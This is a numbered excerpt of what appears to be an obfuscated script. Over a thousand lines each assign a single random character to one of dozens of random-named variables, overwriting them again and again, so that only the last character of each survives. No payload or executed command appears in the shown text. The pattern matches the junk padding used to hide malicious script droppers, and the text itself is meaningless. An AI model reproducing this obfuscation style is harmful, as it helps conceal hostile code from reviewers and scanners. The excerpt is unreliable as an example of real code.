101	anlloq = "m";
102	anlloq = "Y";
103	anlloq = "I";
104	anlloq = "a";
105	anlloq = "T";
106	anlloq = "Q";
107	anlloq = " ";
108	uzmzwodo = "N";
109	uzmzwodo = "m";
110	uzmzwodo = "i";
111	uzmzwodo = "S";
112	uzmzwodo = "g";
113	uzmzwodo = "e";
114	uzmzwodo = "u";
115	uzmzwodo = "P";
116	uzmzwodo = "w";
117	uzmzwodo = "H";
118	uzmzwodo = "x";
119	uzmzwodo = "f";
120	uzmzwodo = "d";
121	uzmzwodo = "l";
122	uzmzwodo = "p";
123	uzmzwodo = "h";
124	uzmzwodo = "e";
125	uzmzwodo = "e";
126	uzmzwodo = "m";
127	uzmzwodo = "c";
128	uzmzwodo = "N";
129	uzmzwodo = "W";
130	uzmzwodo = "z";
131	uzmzwodo = "q";
132	uzmzwodo = "y";
133	uzmzwodo = "f";
134	uzmzwodo = "y";
135	uzmzwodo = "t";
136	zwdnpq = "h";
137	zwdnpq = "J";
138	zwdnpq = "E";
139	wvnydcs = "X";
140	wvnydcs = "k";
141	wvnydcs = "Y";
142	wvnydcs = "n";
143	wvnydcs = "f";
144	wvnydcs = "l";
145	wvnydcs = "k";
146	wvnydcs = "p";
147	wvnydcs = "r";
148	wvnydcs = "E";
149	wvnydcs = "E";
150	wvnydcs = "j";
151	wvnydcs = "n";
152	wvnydcs = "z";
153	wvnydcs = "F";
154	wvnydcs = "n";
155	wvnydcs = "E";
156	wvnydcs = "H";
157	wvnydcs = "b";
158	wvnydcs = "Z";
159	wvnydcs = "P";
160	wvnydcs = "T";
161	wvnydcs = "F";
162	wvnydcs = "V";
163	wvnydcs = "f";
164	wvnydcs = "h";
165	wvnydcs = "G";
166	wvnydcs = "f";
167	wvnydcs = "i";
168	wvnydcs = "c";
169	wvnydcs = "O";
170	wvnydcs = "Q";
171	wvnydcs = "p";
172	wvnydcs = "M";
173	wvnydcs = "C";
174	wvnydcs = "W";
175	wvnydcs = "y";
176	wvnydcs = "f";
177	wvnydcs = "X";
178	wvnydcs = "v";
179	zsqfsaeg = "S";
180	zsqfsaeg = "u";
181	zsqfsaeg = "h";
182	zsqfsaeg = "E";
183	zsqfsaeg = "A";
184	zsqfsaeg = "a";
185	zsqfsaeg = "V";
186	zsqfsaeg = "B";
187	zsqfsaeg = "S";
188	zsqfsaeg = "p";
189	zsqfsaeg = "y";
190	zsqfsaeg = "K";
191	zsqfsaeg = "n";
192	zsqfsaeg = "N";
193	zsqfsaeg = "J";
194	zsqfsaeg = "s";
195	zsqfsaeg = "U";
196	zsqfsaeg = "f";
197	zsqfsaeg = "q";
198	zsqfsaeg = "S";
199	zsqfsaeg = "I";
200	mntlzq = "s";
201	mntlzq = "u";
202	mntlzq = "b";
203	mntlzq = "v";
204	mntlzq = "K";
205	mntlzq = "N";
206	mntlzq = "d";
207	mntlzq = "p";
208	mntlzq = "h";
209	mntlzq = "S";
210	mntlzq = "M";
211	mntlzq = "p";
212	mntlzq = "r";
213	mntlzq = "p";
214	mntlzq = "Y";
215	mntlzq = "R";
216	mntlzq = "N";
217	mntlzq = "h";
218	mntlzq = "v";
219	mntlzq = "I";
220	mntlzq = "I";
221	mntlzq = "P";
222	mntlzq = "w";
223	mntlzq = "S";
224	mntlzq = "l";
225	mntlzq = "S";
226	mntlzq = "E";
227	mntlzq = "y";
228	mntlzq = "T";
229	mntlzq = "r";
230	mntlzq = "Q";
231	mntlzq = "3";
232	zatbrhm = "t";
233	zatbrhm = "I";
234	zatbrhm = "E";
235	zatbrhm = "S";
236	zatbrhm = "T";
237	zatbrhm = "X";
238	zatbrhm = "U";
239	zatbrhm = "S";
240	zatbrhm = "u";
241	zatbrhm = "V";
242	zatbrhm = "x";
243	zatbrhm = "F";
244	zatbrhm = "a";
245	zatbrhm = "C";
246	zatbrhm = "e";
247	zatbrhm = "E";
248	zatbrhm = "Y";
249	zatbrhm = "C";
250	zatbrhm = "V";
251	zatbrhm = "z";
252	zatbrhm = "N";
253	zatbrhm = "h";
254	zatbrhm = "I";
255	zatbrhm = "H";
256	zatbrhm = "V";
257	zatbrhm = "d";
258	zatbrhm = "T";
259	zatbrhm = "8";
260	zgebk = "k";
261	zgebk = "J";
262	zgebk = "i";
263	zgebk = "T";
264	zgebk = "g";
265	zgebk = "U";
266	fdzbfrn = "x";
267	fdzbfrn = "v";
268	fdzbfrn = "e";
269	fdzbfrn = "L";
270	fdzbfrn = "f";
271	fdzbfrn = "Y";
272	fdzbfrn = "i";
273	fdzbfrn = "t";
274	fdzbfrn = "b";
275	fdzbfrn = "y";
276	fdzbfrn = "H";
277	fdzbfrn = "j";
278	fdzbfrn = "K";
279	fdzbfrn = "g";
280	fdzbfrn = "D";
281	fdzbfrn = "l";
282	fdzbfrn = "s";
283	fdzbfrn = "L";
284	fdzbfrn = "H";
285	fdzbfrn = "v";
286	fdzbfrn = "o";
287	fdzbfrn = "b";
288	fdzbfrn = "W";
289	fdzbfrn = "w";
290	fdzbfrn = "E";
291	fdzbfrn = "N";
292	fdzbfrn = "P";
293	fdzbfrn = "S";
294	fdzbfrn = "l";
295	fdzbfrn = "g";
296	fdzbfrn = "m";
297	fdzbfrn = "Q";
298	fdzbfrn = "w";
299	fdzbfrn = "f";
300	fdzbfrn = "p";
301	rvhlnrhss = "r";
302	rvhlnrhss = "m";
303	rvhlnrhss = "b";
304	rvhlnrhss = "s";
305	rvhlnrhss = "W";
306	rvhlnrhss = "Q";
307	rvhlnrhss = "U";
308	rvhlnrhss = "M";
309	rvhlnrhss = "W";
310	rvhlnrhss = "x";
311	rvhlnrhss = "m";
312	rvhlnrhss = "A";
313	rvhlnrhss = "Y";
314	jrfngbrra = "E";
315	jrfngbrra = "q";
316	jrfngbrra = "g";
317	jrfngbrra = "C";
318	jrfngbrra = "O";
319	jrfngbrra = "G";
320	jrfngbrra = "d";
321	jrfngbrra = "M";
322	jrfngbrra = "m";
323	jrfngbrra = "T";
324	jrfngbrra = "H";
325	jrfngbrra = "N";
326	jrfngbrra = "c";
327	jrfngbrra = "E";
328	jrfngbrra = "o";
329	jrfngbrra = "y";
330	jrfngbrra = "Y";
331	jrfngbrra = "L";
332	jrfngbrra = "v";
333	jrfngbrra = "u";
334	jrfngbrra = "U";
335	jrfngbrra = "M";
336	jrfngbrra = "Z";
337	jrfngbrra = "P";
338	jrfngbrra = "d";
339	jrfngbrra = "n";
340	jrfngbrra = "Q";
341	jrfngbrra = "g";
342	jrfngbrra = "T";
343	jrfngbrra = "V";
344	jrfngbrra = "e";
345	jrfngbrra = "i";
346	jrfngbrra = "e";
347	jrfngbrra = "l";
348	jrfngbrra = "d";
349	jrfngbrra = "G";
350	jrfngbrra = ":";
351	crbntkz = "Q";
352	crbntkz = "b";
353	crbntkz = "p";
354	crbntkz = "U";
355	crbntkz = "Y";
356	crbntkz = "L";
357	crbntkz = "C";
358	crbntkz = "m";
359	crbntkz = "l";
360	crbntkz = "I";
361	crbntkz = "m";
362	crbntkz = "z";
363	crbntkz = "T";
364	crbntkz = "P";
365	crbntkz = "t";
366	crbntkz = "v";
367	crbntkz = "f";
368	crbntkz = "Q";
369	crbntkz = "b";
370	crbntkz = "a";
371	crbntkz = "y";
372	crbntkz = "m";
373	crbntkz = "S";
374	pblig = "M";
375	pblig = "E";
376	pblig = "e";
377	pblig = "y";
378	pblig = "F";
379	pblig = "U";
380	pblig = "w";
381	pblig = "k";
382	pblig = "z";
383	pblig = "j";
384	pblig = "B";
385	pblig = "f";
386	pblig = "s";
387	pblig = "l";
388	pblig = "O";
389	pblig = "c";
390	pblig = "B";
391	pblig = "n";
392	pblig = "j";
393	pblig = "m";
394	pblig = "D";
395	pblig = "y";
396	pblig = "B";
397	pblig = "i";
398	pblig = "P";
399	pblig = "l";
400	pblig = "k";
401	pblig = "H";
402	pblig = "I";
403	pblig = "B";
404	pblig = "K";
405	pblig = "x";
406	pblig = "Y";
407	pblig = "m";
408	pblig = "W";
409	pblig = "n";
410	pblig = "/";
411	jqhql = "t";
412	jqhql = "G";
413	jqhql = "m";
414	jqhql = "S";
415	jqhql = "u";
416	jqhql = "e";
417	jqhql = "O";
418	jqhql = "y";
419	jqhql = "L";
420	jqhql = "h";
421	jqhql = "q";
422	jqhql = "S";
423	jqhql = "K";
424	jqhql = "d";
425	jqhql = "u";
426	jqhql = "t";
427	jqhql = "Q";
428	jqhql = "K";
429	jqhql = "T";
430	jqhql = "S";
431	jqhql = "C";
432	jqhql = "d";
433	jqhql = "w";
434	jqhql = "m";
435	jqhql = "P";
436	jqhql = "v";
437	jqhql = "b";
438	jqhql = "O";
439	jqhql = "B";
440	jqhql = "D";
441	jqhql = "C";
442	jqhql = "i";
443	jqhql = "L";
444	jqhql = "o";
445	jqhql = "g";
446	jqhql = "J";
447	jqhql = "I";
448	jqhql = "K";
449	jqhql = "N";
450	jqhql = "a";
451	jqhql = "e";
452	jqhql = "f";
453	jqhql = "%";
454	gyrhfkf = "k";
455	gyrhfkf = "O";
456	gyrhfkf = "f";
457	gyrhfkf = "o";
458	gyrhfkf = "P";
459	gyrhfkf = "H";
460	gyrhfkf = "O";
461	gyrhfkf = "k";
462	gyrhfkf = "S";
463	gyrhfkf = "O";
464	gyrhfkf = "Z";
465	gyrhfkf = "N";
466	gyrhfkf = "B";
467	gyrhfkf = "G";
468	gyrhfkf = "i";
469	gyrhfkf = "M";
470	gyrhfkf = "g";
471	gyrhfkf = "i";
472	gyrhfkf = "M";
473	gyrhfkf = "p";
474	gyrhfkf = "r";
475	gyrhfkf = "h";
476	gyrhfkf = "x";
477	gyrhfkf = "X";
478	gyrhfkf = "a";
479	gyrhfkf = "P";
480	gyrhfkf = "N";
481	gyrhfkf = "j";
482	gyrhfkf = "f";
483	gyrhfkf = "H";
484	gyrhfkf = "W";
485	gyrhfkf = "D";
486	gyrhfkf = "d";
487	gyrhfkf = "L";
488	gyrhfkf = "v";
489	gyrhfkf = "h";
490	qswjhec = "f";
491	qswjhec = "s";
492	qswjhec = "R";
493	qswjhec = "H";
494	qswjhec = "7";
495	wlxgstked = "b";
496	wlxgstked = "9";
497	cguhrc = "I";
498	cguhrc = "A";
499	cguhrc = "v";
500	cguhrc = "M";
501	cguhrc = "W";
502	cguhrc = "F";
503	cguhrc = "U";
504	cguhrc = "I";
505	cguhrc = "n";
506	cguhrc = "a";
507	cguhrc = "W";
508	cguhrc = "T";
509	cguhrc = "U";
510	cguhrc = "l";
511	cguhrc = "n";
512	cguhrc = "X";
513	cguhrc = "V";
514	cguhrc = "O";
515	cguhrc = "p";
516	cguhrc = "U";
517	cguhrc = "G";
518	cguhrc = "j";
519	cguhrc = ".";
520	rnhxirnhm = "O";
521	rnhxirnhm = "c";
522	rnhxirnhm = "x";
523	rnhxirnhm = "Z";
524	rnhxirnhm = "n";
525	rnhxirnhm = "o";
526	rnhxirnhm = "y";
527	rnhxirnhm = "Y";
528	rnhxirnhm = "U";
529	rnhxirnhm = "i";
530	rnhxirnhm = "X";
531	rnhxirnhm = "G";
532	rnhxirnhm = "D";
533	rnhxirnhm = "z";
534	rnhxirnhm = "j";
535	rnhxirnhm = "H";
536	rnhxirnhm = "S";
537	rnhxirnhm = "T";
538	rnhxirnhm = "D";
539	rnhxirnhm = "O";
540	rnhxirnhm = "N";
541	rnhxirnhm = "a";
542	kkhupoa = "c";
543	kkhupoa = "u";
544	kkhupoa = "f";
545	kkhupoa = "E";
546	kkhupoa = "u";
547	kkhupoa = "j";
548	kkhupoa = "v";
549	kkhupoa = "V";
550	kkhupoa = "M";
551	kkhupoa = "r";
552	kkhupoa = "T";
553	kkhupoa = "w";
554	kkhupoa = "P";
555	kkhupoa = "S";
556	kkhupoa = "B";
557	kkhupoa = "u";
558	kkhupoa = "a";
559	kkhupoa = "d";
560	kkhupoa = "J";
561	kkhupoa = "Q";
562	kkhupoa = "B";
563	kkhupoa = "w";
564	kkhupoa = "X";
565	kkhupoa = "y";
566	kkhupoa = "g";
567	kkhupoa = "I";
568	kkhupoa = "G";
569	kkhupoa = "X";
570	kkhupoa = "V";
571	kkhupoa = "X";
572	kkhupoa = "h";
573	kkhupoa = "J";
574	kkhupoa = "L";
575	kkhupoa = "a";
576	kkhupoa = "j";
577	kkhupoa = "u";
578	kkhupoa = "V";
579	kkhupoa = "X";
580	kkhupoa = "v";
581	kkhupoa = "q";
582	kkhupoa = "&";
583	nsnltxtuw = "k";
584	nsnltxtuw = "W";
585	nsnltxtuw = "K";
586	nsnltxtuw = "a";
587	nsnltxtuw = "n";
588	nsnltxtuw = "c";
589	nsnltxtuw = "l";
590	nsnltxtuw = "j";
591	nsnltxtuw = "E";
592	nsnltxtuw = "u";
593	nsnltxtuw = "r";
594	nsnltxtuw = "K";
595	nsnltxtuw = "V";
596	nsnltxtuw = "J";
597	nsnltxtuw = "j";
598	nsnltxtuw = "a";
599	nsnltxtuw = "W";
600	nsnltxtuw = "t";
601	nsnltxtuw = "h";
602	nsnltxtuw = "J";
603	nsnltxtuw = "y";
604	nsnltxtuw = "H";
605	nsnltxtuw = "r";
606	nsnltxtuw = "K";
607	nsnltxtuw = "F";
608	nsnltxtuw = "V";
609	nsnltxtuw = "I";
610	nsnltxtuw = "u";
611	nsnltxtuw = "b";
612	nsnltxtuw = "M";
613	nsnltxtuw = "h";
614	nsnltxtuw = "H";
615	nsnltxtuw = "B";
616	nsnltxtuw = "y";
617	nsnltxtuw = "n";
618	nsnltxtuw = "O";
619	nsnltxtuw = "A";
620	nsnltxtuw = "G";
621	nsnltxtuw = "r";
622	nsnltxtuw = "O";
623	nsnltxtuw = "L";
624	ozyek = "R";
625	ozyek = "t";
626	ozyek = "F";
627	ozyek = "d";
628	ozyek = "u";
629	ozyek = "a";
630	ozyek = "I";
631	ozyek = "q";
632	ozyek = "K";
633	uzccs = "F";
634	uzccs = "D";
635	uzccs = "A";
636	uzccs = "v";
637	uzccs = "m";
638	uzccs = "W";
639	uzccs = "E";
640	uzccs = "x";
641	uzccs = "B";
642	uzccs = "k";
643	uzccs = "X";
644	uzccs = "Q";
645	uzccs = "r";
646	uzccs = "r";
647	uzccs = "m";
648	uzccs = "z";
649	uzccs = "R";
650	uzccs = "b";
651	uzccs = "e";
652	uzccs = "c";
653	uzccs = "E";
654	uzccs = "y";
655	uzccs = "U";
656	uzccs = "j";
657	uzccs = "T";
658	uzccs = "r";
659	uzccs = "M";
660	uzccs = "r";
661	uzccs = "V";
662	uzccs = "m";
663	uzccs = "f";
664	uzccs = "o";
665	srxkxhntz = "n";
666	srxkxhntz = "L";
667	srxkxhntz = "f";
668	srxkxhntz = "k";
669	srxkxhntz = "F";
670	srxkxhntz = "k";
671	srxkxhntz = "l";
672	srxkxhntz = "S";
673	srxkxhntz = "A";
674	srxkxhntz = "I";
675	srxkxhntz = "R";
676	srxkxhntz = "e";
677	srxkxhntz = "b";
678	srxkxhntz = "V";
679	srxkxhntz = "X";
680	srxkxhntz = "M";
681	srxkxhntz = "W";
682	srxkxhntz = "A";
683	srxkxhntz = "M";
684	srxkxhntz = "o";
685	srxkxhntz = "i";
686	srxkxhntz = "M";
687	srxkxhntz = "j";
688	srxkxhntz = "Y";
689	srxkxhntz = "K";
690	srxkxhntz = "f";
691	srxkxhntz = "n";
692	srxkxhntz = "c";
693	srxkxhntz = "u";
694	srxkxhntz = "X";
695	srxkxhntz = "5";
696	grdrnhj = "W";
697	grdrnhj = "l";
698	grdrnhj = "4";
699	tsmxjz = "m";
700	tsmxjz = "d";
701	tsmxjz = "m";
702	tsmxjz = "h";
703	tsmxjz = "L";
704	tsmxjz = "m";
705	tsmxjz = "E";
706	tsmxjz = "y";
707	tsmxjz = "x";
708	tsmxjz = "V";
709	tsmxjz = "l";
710	tsmxjz = "r";
711	fsxahehkm = "J";
712	fsxahehkm = "k";
713	fsxahehkm = "c";
714	fsxahehkm = "s";
715	fsxahehkm = "n";
716	fsxahehkm = "d";
717	fsxahehkm = "w";
718	fsxahehkm = "k";
719	fsxahehkm = "s";
720	fsxahehkm = "B";
721	fsxahehkm = "n";
722	fsxahehkm = "F";
723	fsxahehkm = "o";
724	fsxahehkm = "k";
725	fsxahehkm = "k";
726	fsxahehkm = "r";
727	fsxahehkm = "E";
728	fsxahehkm = "H";
729	fsxahehkm = "B";
730	fsxahehkm = "l";
731	fsxahehkm = "m";
732	ckjxa = "Z";
733	ckjxa = "a";
734	ckjxa = "x";
735	ckjxa = "T";
736	ckjxa = "v";
737	ckjxa = "K";
738	ckjxa = "k";
739	ckjxa = "W";
740	ckjxa = "a";
741	ckjxa = "N";
742	ckjxa = "h";
743	ckjxa = "K";
744	ckjxa = "Q";
745	ckjxa = "V";
746	ckjxa = "G";
747	ckjxa = "k";
748	wrhlkpi = "I";
749	wrhlkpi = "s";
750	wrhlkpi = "x";
751	wrhlkpi = "F";
752	wrhlkpi = "p";
753	wrhlkpi = "r";
754	wrhlkpi = "o";
755	wrhlkpi = "z";
756	wrhlkpi = "a";
757	wrhlkpi = "v";
758	wrhlkpi = "g";
759	wrhlkpi = "D";
760	wrhlkpi = "i";
761	wrhlkpi = "x";
762	wrhlkpi = "q";
763	wrhlkpi = "S";
764	wrhlkpi = "O";
765	wrhlkpi = "L";
766	wrhlkpi = "Z";
767	wrhlkpi = "2";
768	ebvnl = "E";
769	ebvnl = "O";
770	ebvnl = "D";
771	ebvnl = "M";
772	ebvnl = "Y";
773	ebvnl = "K";
774	ebvnl = "A";
775	ebvnl = "x";
776	ebvnl = "n";
777	ebvnl = "Q";
778	ebvnl = "d";
779	ebvnl = "w";
780	ebvnl = "v";
781	ebvnl = "H";
782	ebvnl = "E";
783	ebvnl = "c";
784	ebvnl = "o";
785	ebvnl = "l";
786	ebvnl = "N";
787	ebvnl = "C";
788	ebvnl = "G";
789	ebvnl = "t";
790	ebvnl = "u";
791	ebvnl = "k";
792	ebvnl = "f";
793	ebvnl = "k";
794	ebvnl = "N";
795	ebvnl = "P";
796	ebvnl = "C";
797	ebvnl = "d";
798	ebvnl = "m";
799	ebvnl = "X";
800	ebvnl = "v";
801	ebvnl = "Y";
802	ebvnl = "B";
803	ebvnl = "a";
804	ebvnl = "n";
805	ebvnl = "V";
806	ebvnl = "f";
807	ebvnl = "R";
808	mvhzl = "Z";
809	mvhzl = "w";
810	mvhzl = "p";
811	mvhzl = "@";
812	tigdphhuc = "t";
813	tigdphhuc = "f";
814	tigdphhuc = "k";
815	tigdphhuc = "j";
816	tigdphhuc = "W";
817	tigdphhuc = "Y";
818	tigdphhuc = "V";
819	tigdphhuc = "U";
820	tigdphhuc = "g";
821	tigdphhuc = "W";
822	tigdphhuc = "V";
823	tigdphhuc = "Y";
824	tigdphhuc = "t";
825	tigdphhuc = "A";
826	tigdphhuc = "j";
827	tigdphhuc = "Q";
828	tigdphhuc = "H";
829	tigdphhuc = "j";
830	eujewzzl = "d";
831	eujewzzl = "m";
832	eujewzzl = "B";
833	eujewzzl = "I";
834	eujewzzl = "z";
835	eujewzzl = "f";
836	eujewzzl = "B";
837	eujewzzl = "j";
838	eujewzzl = "i";
839	eujewzzl = "r";
840	eujewzzl = "Q";
841	eujewzzl = "U";
842	eujewzzl = "v";
843	eujewzzl = "H";
844	eujewzzl = "P";
845	eujewzzl = "w";
846	eujewzzl = "w";
847	eujewzzl = "a";
848	eujewzzl = "T";
849	eujewzzl = "s";
850	eujewzzl = "m";
851	eujewzzl = "c";
852	eujewzzl = "G";
853	eujewzzl = "k";
854	eujewzzl = "O";
855	eujewzzl = "c";
856	eujewzzl = "k";
857	eujewzzl = "-";
858	rcxxsjszv = "s";
859	rcxxsjszv = "d";
860	rcxxsjszv = "M";
861	rcxxsjszv = "h";
862	rcxxsjszv = "k";
863	rcxxsjszv = "R";
864	rcxxsjszv = "P";
865	rcxxsjszv = "t";
866	rcxxsjszv = "W";
867	rcxxsjszv = "o";
868	rcxxsjszv = "b";
869	rcxxsjszv = "x";
870	rcxxsjszv = "j";
871	rcxxsjszv = "N";
872	rcxxsjszv = "f";
873	rcxxsjszv = "d";
874	rcxxsjszv = "m";
875	rcxxsjszv = "Q";
876	rcxxsjszv = "\\";
877	xdtrcyv = "a";
878	xdtrcyv = "m";
879	xdtrcyv = "l";
880	xdtrcyv = "M";
881	xdtrcyv = "O";
882	xdtrcyv = "i";
883	xdtrcyv = "f";
884	xdtrcyv = "E";
885	xdtrcyv = "I";
886	xdtrcyv = "i";
887	xdtrcyv = "Q";
888	xdtrcyv = "I";
889	xdtrcyv = "A";
890	xdtrcyv = "O";
891	xdtrcyv = "C";
892	xdtrcyv = "F";
893	xdtrcyv = "F";
894	xdtrcyv = "I";
895	xdtrcyv = "j";
896	xdtrcyv = "d";
897	nrqhcvjw = "I";
898	nrqhcvjw = "m";
899	nrqhcvjw = "U";
900	nrqhcvjw = "W";
901	nrqhcvjw = "l";
902	nrqhcvjw = "L";
903	nrqhcvjw = "O";
904	nrqhcvjw = "Z";
905	nrqhcvjw = "h";
906	nrqhcvjw = "z";
907	nrqhcvjw = "u";
908	nrqhcvjw = "U";
909	nrqhcvjw = "d";
910	nrqhcvjw = "I";
911	nrqhcvjw = "x";
912	nrqhcvjw = "O";
913	nrqhcvjw = "D";
914	nrqhcvjw = "Z";
915	nrqhcvjw = "R";
916	nrqhcvjw = "d";
917	nrqhcvjw = "G";
918	nrqhcvjw = "W";
919	nrqhcvjw = "B";
920	nrqhcvjw = "a";
921	nrqhcvjw = "r";
922	nrqhcvjw = "m";
923	nrqhcvjw = "K";
924	nrqhcvjw = "a";
925	nrqhcvjw = "d";
926	nrqhcvjw = "I";
927	nrqhcvjw = "u";
928	rahmbdt = "b";
929	rahmbdt = "v";
930	rahmbdt = "F";
931	rahmbdt = "w";
932	rahmbdt = "Q";
933	rahmbdt = "C";
934	rahmbdt = "I";
935	rahmbdt = "b";
936	rahmbdt = "t";
937	rahmbdt = "U";
938	rahmbdt = "h";
939	rahmbdt = "c";
940	cccey = "W";
941	cccey = "w";
942	cccey = "l";
943	cccey = "O";
944	cccey = "N";
945	cccey = "z";
946	cccey = "y";
947	cccey = "C";
948	cccey = "B";
949	cccey = "D";
950	cccey = "W";
951	cccey = "h";
952	cccey = "U";
953	cccey = "_";
954	jtyxlwmqh = "i";
955	jtyxlwmqh = "h";
956	jtyxlwmqh = "t";
957	jtyxlwmqh = "z";
958	jtyxlwmqh = "G";
959	jtyxlwmqh = "c";
960	jtyxlwmqh = "I";
961	jtyxlwmqh = "i";
962	jtyxlwmqh = "d";
963	jtyxlwmqh = "Y";
964	jtyxlwmqh = "e";
965	jtyxlwmqh = "R";
966	jtyxlwmqh = "g";
967	jtyxlwmqh = "c";
968	jtyxlwmqh = "D";
969	jtyxlwmqh = "T";
970	jtyxlwmqh = "r";
971	jtyxlwmqh = "R";
972	jtyxlwmqh = "l";
973	jtyxlwmqh = "y";
974	jtyxlwmqh = "f";
975	jtyxlwmqh = "I";
976	jtyxlwmqh = "H";
977	laqdpxmbg = "d";
978	laqdpxmbg = "Z";
979	laqdpxmbg = "w";
980	laqdpxmbg = "G";
981	laqdpxmbg = "b";
982	laqdpxmbg = "r";
983	laqdpxmbg = "J";
984	laqdpxmbg = "K";
985	laqdpxmbg = "p";
986	laqdpxmbg = "t";
987	laqdpxmbg = "a";
988	laqdpxmbg = "q";
989	laqdpxmbg = "q";
990	laqdpxmbg = "y";
991	laqdpxmbg = "N";
992	laqdpxmbg = "T";
993	laqdpxmbg = "e";
994	laqdpxmbg = "T";
995	laqdpxmbg = "m";
996	laqdpxmbg = "L";
997	laqdpxmbg = "s";
998	laqdpxmbg = "q";
999	laqdpxmbg = "n";
1000	laqdpxmbg = "O";
1001	laqdpxmbg = "Y";
1002	laqdpxmbg = "q";
1003	laqdpxmbg = "Z";
1004	laqdpxmbg = "q";
1005	laqdpxmbg = "U";
1006	laqdpxmbg = "C";
1007	laqdpxmbg = "w";
1008	hxyeccqfv = "F";
1009	hxyeccqfv = "O";
1010	hxyeccqfv = "j";
1011	hxyeccqfv = "J";
1012	hxyeccqfv = "c";
1013	hxyeccqfv = "l";
1014	hxyeccqfv = "i";
1015	hxyeccqfv = "f";
1016	hxyeccqfv = "e";
1017	hxyeccqfv = "X";
1018	hxyeccqfv = "o";
1019	hxyeccqfv = "b";
1020	hxyeccqfv = "t";
1021	hxyeccqfv = "I";
1022	hxyeccqfv = "r";
1023	hxyeccqfv = "s";
1024	hxyeccqfv = "u";
1025	hxyeccqfv = "x";
1026	hxyeccqfv = "Q";
1027	hxyeccqfv = "A";
1028	hxyeccqfv = "U";
1029	hxyeccqfv = "h";
1030	hxyeccqfv = "W";
1031	edfocskpi = "j";
1032	edfocskpi = "f";
1033	edfocskpi = "O";
1034	edfocskpi = "l";
1035	edfocskpi = "i";
1036	edfocskpi = "L";
1037	edfocskpi = "k";
1038	edfocskpi = "k";
1039	edfocskpi = "W";
1040	edfocskpi = "g";
1041	edfocskpi = "W";
1042	edfocskpi = "M";
1043	edfocskpi = "a";
1044	edfocskpi = "Q";
1045	edfocskpi = "w";
1046	edfocskpi = "E";
1047	edfocskpi = "C";
1048	edfocskpi = "i";
1049	lzboi = "V";
1050	lzboi = "K";
1051	lzboi = "b";
1052	lzboi = "L";
1053	lzboi = "d";
1054	lzboi = "V";
1055	lzboi = "g";
1056	lzboi = "C";
1057	lzboi = "J";
1058	lzboi = "c";
1059	lzboi = "g";
1060	lzboi = "D";
1061	lzboi = "c";
1062	lzboi = "n";
1063	ibktexjwt = "c";
1064	ibktexjwt = "x";
1065	ibktexjwt = "f";
1066	ibktexjwt = "v";
1067	ibktexjwt = "g";
1068	ibktexjwt = "d";
1069	ibktexjwt = "V";
1070	ibktexjwt = "X";
1071	ibktexjwt = "s";
1072	ibktexjwt = "K";
1073	ibktexjwt = "r";
1074	ibktexjwt = "S";
1075	ibktexjwt = "Q";
1076	ibktexjwt = "f";
1077	ibktexjwt = "N";
1078	ibktexjwt = "h";
1079	ibktexjwt = "Z";
1080	ibktexjwt = "g";
1081	ibktexjwt = "F";
1082	ibktexjwt = "p";
1083	ibktexjwt = "K";
1084	ibktexjwt = "a";
1085	ibktexjwt = "M";
1086	ibktexjwt = "S";
1087	ibktexjwt = "E";
1088	ibktexjwt = "F";
1089	ibktexjwt = "q";
1090	ibktexjwt = "x";
1091	ibktexjwt = "h";
1092	ibktexjwt = "C";
1093	ibktexjwt = "u";
1094	ibktexjwt = "e";
1095	ibktexjwt = "F";
1096	ibktexjwt = "K";
1097	ibktexjwt = "s";
1098	ibktexjwt = "Q";
1099	sbzpslca = "r";
1100	sbzpslca = "b";
1101	sbzpslca = "L";
1102	sbzpslca = "p";
1103	sbzpslca = "i";
1104	sbzpslca = "D";
1105	sbzpslca = "Y";
1106	sbzpslca = "W";
1107	sbzpslca = "c";
1108	sbzpslca = "C";
1109	sbzpslca = "l";
1110	sbzpslca = "H";
1111	sbzpslca = "U";
1112	sbzpslca = "l";
1113	sbzpslca = "I";
1114	sbzpslca = "W";
1115	sbzpslca = "a";
1116	sbzpslca = "k";
1117	sbzpslca = "a";
1118	sbzpslca = "E";
1119	sbzpslca = "w";
1120	sbzpslca = "q";
1121	xyyhimcze = "o";
1122	xyyhimcze = "J";
1123	xyyhimcze = "B";
1124	xyyhimcze = "O";
1125	xyyhimcze = "W";
1126	xyyhimcze = "z";
1127	xyyhimcze = "c";
1128	xyyhimcze = "q";
1129	xyyhimcze = "k";
1130	xyyhimcze = "c";
1131	xyyhimcze = "H";
1132	xyyhimcze = "b";
1133	xyyhimcze = "u";
1134	xyyhimcze = "Z";
1135	xyyhimcze = "V";
1136	xyyhimcze = "P";
1137	xyyhimcze = "U";
1138	xyyhimcze = "K";
1139	xyyhimcze = "g";
1140	xyyhimcze = "C";
1141	xyyhimcze = "C";
1142	xyyhimcze = "t";
1143	xyyhimcze = "O";
1144	xyyhimcze = "M";
1145	xyyhimcze = "b";
1146	xyyhimcze = "Y";
1147	xyyhimcze = "l";
1148	xyyhimcze = "Z";
1149	xyyhimcze = "p";
1150	xyyhimcze = "J";
1151	xyyhimcze = "o";
1152	xyyhimcze = "i";
1153	xyyhimcze = "G";
1154	xyyhimcze = "G";
1155	xyyhimcze = "W";
1156	xyyhimcze = "E";
1157	xyyhimcze = "z";
1158	xyyhimcze = "V";
1159	xyyhimcze = "g";
1160	xyyhimcze = "D";
1161	xyyhimcze = "y";
1162	xyyhimcze = "f";
1163	nrxykp = "N";
1164	nrxykp = "z";
1165	nrxykp = "p";
1166	nrxykp = "c";
1167	nrxykp = "y";
1168	nrxykp = "D";
1169	nrxykp = "K";
1170	nrxykp = "b";
1171	nrxykp = "E";
1172	nrxykp = "Q";
1173	nrxykp = "Z";
1174	nrxykp = "R";
1175	nrxykp = "R";
1176	nrxykp = "v";
1177	nrxykp = "U";
1178	nrxykp = "C";
1179	nrxykp = "w";
1180	nrxykp = "n";
1181	nrxykp = "a";
1182	nrxykp = "I";
1183	nrxykp = "k";
1184	nrxykp = "m";
1185	nrxykp = "m";
1186	nrxykp = "m";
1187	nrxykp = "e";
1188	nrxykp = "e";
1189	nrxykp = "x";
1190	nrxykp = "L";
1191	nrxykp = "k";
1192	nrxykp = "m";
1193	nrxykp = "b";
1194	nrxykp = "K";
1195	nrxykp = "c";
1196	nrxykp = "g";
1197	nrxykp = "n";
1198	nrxykp = "g";
1199	igxwj = "V";
1200	igxwj = "R";
1201	igxwj = "y";
1202	igxwj = "R";
1203	igxwj = "b";
1204	igxwj = "A";
1205	igxwj = "f";
1206	igxwj = "Z";
1207	igxwj = "S";
1208	igxwj = "n";
1209	igxwj = "k";
1210	igxwj = "C";
1211	igxwj = "g";
1212	igxwj = "T";
1213	igxwj = "C";
1214	igxwj = "L";
1215	igxwj = "z";
1216	igxwj = "K";
